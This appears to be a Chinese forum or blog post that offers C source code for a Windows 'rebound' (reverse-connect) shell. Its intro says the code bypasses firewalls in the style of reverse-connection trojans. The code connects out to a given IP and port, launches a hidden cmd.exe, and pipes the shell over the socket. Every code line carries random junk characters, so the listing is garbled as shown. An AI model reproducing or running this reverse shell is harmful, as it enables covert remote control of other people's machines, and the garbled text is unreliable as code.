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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T96M=?wh!  
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/* ============================== :`20i*  
Rebound port in Windows NT BF+i82$zo  
By wind,2006/7 8c0ugM  
===============================*/ [Cf{2WB:7  
#include >19j_[n@VC  
#include V( SRw  
l6k.`1.In  
#pragma comment(lib,"wsock32.lib") N2e]S8-  
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void OutputShell(); uT 2w2A;  
SOCKET sClient; `Uy'YfYF  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OIdoe0JR:O  
H|/U0;s  
void main(int argc,char **argv) +U*:WKdI?  
{ fD ?w!7f-1  
WSADATA stWsaData; Jw)-6WJ!uO  
int nRet; }@Ou]o  
SOCKADDR_IN stSaiClient,stSaiServer; <CY<-H  
V}+Ui]ie|I  
if(argc != 3) #JW~&;  
{ (GXFPEH8  
printf("Useage:\n\rRebound DestIP DestPort\n"); mM)d`br  
return; YKG}4{T  
} [pYjH+<  
px=r~8M9}  
WSAStartup(MAKEWORD(2,2),&stWsaData); %6HJM| {H  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g RBbL1  
F=r`'\JV[  
stSaiClient.sin_family = AF_INET; f4r)g2Zb[  
stSaiClient.sin_port = htons(0); h^ =9R6im  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); RqRyZ*n  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) { '1e?  
{ 4&+lc*  
printf("Bind Socket Failed!\n"); `/L D:R  
return; TwLQ;Q  
} 7bC)Co#:   
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stSaiServer.sin_family = AF_INET; XD$;K$_7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?N(opggiD  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L|A.;Gq  
hT?|:!ED.F  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i.G"21M  
{ !+Us)'L  
printf("Connect Error!"); e]@R'oM?#`  
return; w^wh|'u^_@  
}  @bO/5"X,  
OutputShell(); Y!w {,\3  
} ^.~m4t`U  
;P!x/Ct  
void OutputShell() r>3y87  
{ ]gG&X3jaKq  
char szBuff[1024]; (H-}z`sy/@  
SECURITY_ATTRIBUTES stSecurityAttributes; :zLeS-  
OSVERSIONINFO stOsversionInfo; W:*  {7qJ  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 66%4p%#b4  
STARTUPINFO stStartupInfo; \1mTKw)S  
char *szShell; r0/o{Y|l6  
PROCESS_INFORMATION stProcessInformation; o%.0@W  
unsigned long lBytesRead; YH/3N(],  
VAet!H+]  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yy#4DYht  
APM!xX=N  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )2mvW1M=7;  
stSecurityAttributes.lpSecurityDescriptor = 0; xI(Y}>  
stSecurityAttributes.bInheritHandle = TRUE; Yo;Mexo!  
l~c# X3E  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]B>g~t5J  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ERZWK  
d<+@cf_9  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {&d )O  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `;\~$^sj}  
stStartupInfo.wShowWindow = SW_HIDE; ]0@ 06G(y  
stStartupInfo.hStdInput = hReadPipe; lz88//@gZ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; b?deZ2"L#  
.U9A \$  
GetVersionEx(&stOsversionInfo); Ab/KVB  
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switch(stOsversionInfo.dwPlatformId) B[B(=4EzMP  
{ mdy+ >e <  
case 1: ~ w,hJ `  
szShell = "command.com"; I4\ c+f9  
break; Qa-~x8]  
default: :]+p#l  
szShell = "cmd.exe"; _ !H8j/b  
break; M&~cU{9c  
} !(>yB;u  
.Mu]uQUF  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); F=l.2t*9  
Xl\yOMfp  
send(sClient,szMsg,77,0); S1G3xY$0  
while(1) 1./iF>*A  
{ 0V5{:mzA  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S1D;Xv@  
if(lBytesRead) 'e5,%"5(c  
{ Z|IFT1K  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); m?_@.O@]  
send(sClient,szBuff,lBytesRead,0); A ^U`c'$  
} 1G62Qu$O  
else 4oywP^I  
{ t o2y#4'.  
lBytesRead=recv(sClient,szBuff,1024,0); UgAG2  
if(lBytesRead<=0) break; gPz p/I  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TB(!*t  
} VaLl$w  
} f%cbBx^;  
IM9P5?kJ ?  
return; SlojB^%  
}
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